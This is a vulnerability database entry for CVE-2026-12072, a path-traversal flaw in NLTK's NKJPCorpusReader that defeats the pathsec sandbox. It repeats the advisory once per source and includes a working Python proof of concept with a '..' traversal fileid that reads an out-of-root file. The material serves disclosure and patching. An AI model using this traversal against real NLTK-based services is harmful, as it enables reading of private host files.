CVE-2026-12072
Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
Summary
A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can
influence the fileids argument of its public read methods (header, raw,
words, sents, tagged_words) to read files outside the corpus root. The
reader builds the file path with no containment check and opens it with the
builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the
strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant
deployments. header() returns the parsed content of the out-of-root file to
the caller (arbitrary file read).
Details
SECURITY.md promises that file access is "validated against allowed NLTK data
directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file
access … will raise PermissionError." That guarantee is enforced via
FileSystemPathPointer.open() / CorpusReader.open(), which call
nltk.pathsec.validate_path(...).
NKJPCorpusReader never uses that protected path. In
nltk/corpus/reader/nkjp.py:
add_root()builds the path by plain string concatenation with no normalization or containment check:def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped- The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin
open()):class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 - The other modes reach the filesystem through
XML_Tool, which uses a rawos.path.join(not the hardenedFileSystemPathPointer.join()) and the builtinopen():class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted
Because open() is the builtin (not PathPointer.open()), the pathsec
sentinel is never invoked, so ENFORCE = True does not block the access. For
comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222)
rejects ../absolute fileids and calls validate_path(..., required_root=...)
before opening — NKJPCorpusReader simply does not go through it.
PoC
Tested against nltk==3.9.4 (latest PyPI release) and current develop.
pip install "nltk==3.9.4"
python3 poc.py
poc.py:
import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader
print("nltk", nltk.__version__)
# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")
# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
"</bibl></sourceDesc></fileDesc></teiHeader>")
# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)
# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open
builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]
reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled `fileids`; '..' escapes the corpus root:
evil = root + "/../../../../../../.." + secret_dir + "/"
try:
result = reader.header(fileids=[evil])
finally:
builtins.open = real
print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
print("disclosed content :", result[0]["title"])
shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)
Output (unmodified):
nltk 3.9.4
ENFORCE = True
opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
disclosed content : SECRET-API-KEY=sk-live-DEADBEEF
With ENFORCE = True, NLTK opened a file outside the corpus root via the
builtin open() (no PermissionError, no warning) and returned its content.
Impact
This is a path traversal (CWE-22) leading to arbitrary file read. Any
application that passes attacker-influenced values into NKJPCorpusReader's
fileids (e.g. letting a user choose which corpus document to read) is
affected; the attacker can escape the corpus root and read files elsewhere on
the host, defeating the ENFORCE=True sandbox.
Honest scoping: header() discloses the content of out-of-root files named
header.xml containing NKJP header XML. raw()/words()/sents() also open
and read an arbitrary out-of-root file (proven by intercepting open()), but a
separate pre-existing bug in XML_Tool (writing str to a binary
NamedTemporaryFile) suppresses their return value on current Python, so for
those modes the impact is arbitrary file open/read. The attacker chooses the
directory freely; a fixed basename is appended per mode. The same
"build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in
xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43,
ipipan.py:191, pl196x.py:110 and is worth fixing as a class.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
What each source reports
GitHub Advisories Score usedGHSA-6hm5-jgcp-p838
7.5
Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
Summary
A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can
influence the fileids argument of its public read methods (header, raw,
words, sents, tagged_words) to read files outside the corpus root. The
reader builds the file path with no containment check and opens it with the
builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the
strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant
deployments. header() returns the parsed content of the out-of-root file to
the caller (arbitrary file read).
Details
SECURITY.md promises that file access is "validated against allowed NLTK data
directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file
access … will raise PermissionError." That guarantee is enforced via
FileSystemPathPointer.open() / CorpusReader.open(), which call
nltk.pathsec.validate_path(...).
NKJPCorpusReader never uses that protected path. In
nltk/corpus/reader/nkjp.py:
add_root()builds the path by plain string concatenation with no normalization or containment check:def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped- The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin
open()):class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 - The other modes reach the filesystem through
XML_Tool, which uses a rawos.path.join(not the hardenedFileSystemPathPointer.join()) and the builtinopen():class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted
Because open() is the builtin (not PathPointer.open()), the pathsec
sentinel is never invoked, so ENFORCE = True does not block the access. For
comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222)
rejects ../absolute fileids and calls validate_path(..., required_root=...)
before opening — NKJPCorpusReader simply does not go through it.
PoC
Tested against nltk==3.9.4 (latest PyPI release) and current develop.
pip install "nltk==3.9.4"
python3 poc.py
poc.py:
import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader
print("nltk", nltk.__version__)
# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")
# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
"</bibl></sourceDesc></fileDesc></teiHeader>")
# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)
# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open…
- Record
GHSA-6hm5-jgcp-p838- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-6hm5-jgcp-p838
7.5
Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
Summary
A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can
influence the fileids argument of its public read methods (header, raw,
words, sents, tagged_words) to read files outside the corpus root. The
reader builds the file path with no containment check and opens it with the
builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the
strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant
deployments. header() returns the parsed content of the out-of-root file to
the caller (arbitrary file read).
Details
SECURITY.md promises that file access is "validated against allowed NLTK data
directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file
access … will raise PermissionError." That guarantee is enforced via
FileSystemPathPointer.open() / CorpusReader.open(), which call
nltk.pathsec.validate_path(...).
NKJPCorpusReader never uses that protected path. In
nltk/corpus/reader/nkjp.py:
add_root()builds the path by plain string concatenation with no normalization or containment check:def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped- The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin
open()):class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 - The other modes reach the filesystem through
XML_Tool, which uses a rawos.path.join(not the hardenedFileSystemPathPointer.join()) and the builtinopen():class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted
Because open() is the builtin (not PathPointer.open()), the pathsec
sentinel is never invoked, so ENFORCE = True does not block the access. For
comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222)
rejects ../absolute fileids and calls validate_path(..., required_root=...)
before opening — NKJPCorpusReader simply does not go through it.
PoC
Tested against nltk==3.9.4 (latest PyPI release) and current develop.
pip install "nltk==3.9.4"
python3 poc.py
poc.py:
import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader
print("nltk", nltk.__version__)
# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")
# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
"</bibl></sourceDesc></fileDesc></teiHeader>")
# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)
# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open…
- Record
GHSA-6hm5-jgcp-p838- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVPYSEC-2026-3581
7.5
Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
Summary
A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can
influence the fileids argument of its public read methods (header, raw,
words, sents, tagged_words) to read files outside the corpus root. The
reader builds the file path with no containment check and opens it with the
builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the
strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant
deployments. header() returns the parsed content of the out-of-root file to
the caller (arbitrary file read).
Details
SECURITY.md promises that file access is "validated against allowed NLTK data
directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file
access … will raise PermissionError." That guarantee is enforced via
FileSystemPathPointer.open() / CorpusReader.open(), which call
nltk.pathsec.validate_path(...).
NKJPCorpusReader never uses that protected path. In
nltk/corpus/reader/nkjp.py:
add_root()builds the path by plain string concatenation with no normalization or containment check:def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped- The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin
open()):class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 - The other modes reach the filesystem through
XML_Tool, which uses a rawos.path.join(not the hardenedFileSystemPathPointer.join()) and the builtinopen():class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted
Because open() is the builtin (not PathPointer.open()), the pathsec
sentinel is never invoked, so ENFORCE = True does not block the access. For
comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222)
rejects ../absolute fileids and calls validate_path(..., required_root=...)
before opening — NKJPCorpusReader simply does not go through it.
PoC
Tested against nltk==3.9.4 (latest PyPI release) and current develop.
pip install "nltk==3.9.4"
python3 poc.py
poc.py:
import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader
print("nltk", nltk.__version__)
# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")
# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
"</bibl></sourceDesc></fileDesc></teiHeader>")
# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)
# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open…
- Record
PYSEC-2026-3581- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11469-1 No score
python313-nltk-3.10.1-1.1 on GA media
These are all security issues fixed in the python313-nltk-3.10.1-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11469-1- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-12072 No score
[Unknown description]
- Record
UBUNTU-CVE-2026-12072- Updated
- 2026-11-02
Affected packages
| Package | Affected | Fixed |
|---|---|---|
nltkPyPI |
through 3.9.4 | 3.10.0 |
nltkDebian:12 |
All versions, plus listed versions 3.10.0-13.10.1-13.10.3-13.8-13.8.1-1 Show 4 moreShow less3.9.1-13.9.1-23.9.2-13.9.3-1 |
None known |
nltkDebian:13 |
All versions, plus listed versions 3.10.0-13.10.1-13.10.3-13.9.1-23.9.2-13.9.3-1 |
None known |
nltkDebian:14 |
before 3.10.0-1, plus listed versions 3.9.1-23.9.2-13.9.3-1 |
3.10.0-1 |
nltkPyPI |
before 3.10.0, plus listed versions 0.80.90.9.30.9.40.9.5 Show 45 moreShow less0.9.60.9.70.9.80.9.92.0.12.0.1rc12.0.1rc2-git2.0.1rc32.0.1rc42.0.22.0.32.0.42.0.52.0b42.0b52.0b62.0b72.0b82.0b93.0.03.0.0b13.0.0b23.0.13.0.23.0.33.0.43.0.53.13.23.2.13.2.23.2.33.2.43.2.53.33.43.4.13.4.23.4.33.4.43.4.53.53.5b13.63.6.1 |
3.10.0 |
nltkUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 2.0~b9-0ubuntu42.0~b9-0ubuntu4.1~esm22.0~b9-0ubuntu4.1~esm42.0~b9-0ubuntu4.1~esm52.0~b9-0ubuntu4.1~esm6 |
None known |
nltkUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 3.0.4-13.0.5-13.1-13.1-1ubuntu0.13.1-1ubuntu0.1+esm13.1-1ubuntu0.1+esm23.1-1ubuntu0.1+esm33.1-1ubuntu0.1+esm4 |
None known |
nltkUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 3.2.4-13.2.5-13.2.5-1ubuntu0.13.2.5-1ubuntu0.1+esm13.2.5-1ubuntu0.1+esm23.2.5-1ubuntu0.1+esm33.2.5-1ubuntu0.1+esm4 |
None known |
nltkUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 3.4.5-13.4.5-23.4.5-2ubuntu0.1~esm13.4.5-2ubuntu0.1~esm23.4.5-2ubuntu0.1~esm33.4.5-2ubuntu0.1~esm4 |
None known |
nltkUbuntu:Pro:22.04:LTS |
All versions, plus listed versions 3.5-13.6.5-13.6.7-13.7-13.7-1ubuntu0.1~esm13.7-1ubuntu0.1~esm2 |
None known |
Show 4 moreShow less
| Package | Affected | Fixed |
|---|---|---|
nltkUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 3.8.1-13.8.1-1ubuntu0.1~esm13.8.1-1ubuntu0.1~esm2 |
None known |
nltkUbuntu:26.10 |
All versions, plus listed versions 3.9.2-13.9.3-13.10.0-13.10.1-13.10.3-1 |
None known |
nltkUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 3.9.1-23.9.1-2build13.9.2-13.9.2-1ubuntu0.1~esm13.9.2-1ubuntu0.1~esm2 |
None known |
python-nltkopenSUSE:Tumbleweed From an advisory covering 3 CVEs |
before 3.10.1-1.1 | 3.10.1-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-12072 is a high vulnerability (CVSS 7.5) in nltk, published July 31, 2026. No source lists public exploit code. Fixed in nltk 3.10.0.
References
Left out here: 15 versions and the rest of 3 source descriptions. The JSON record has them.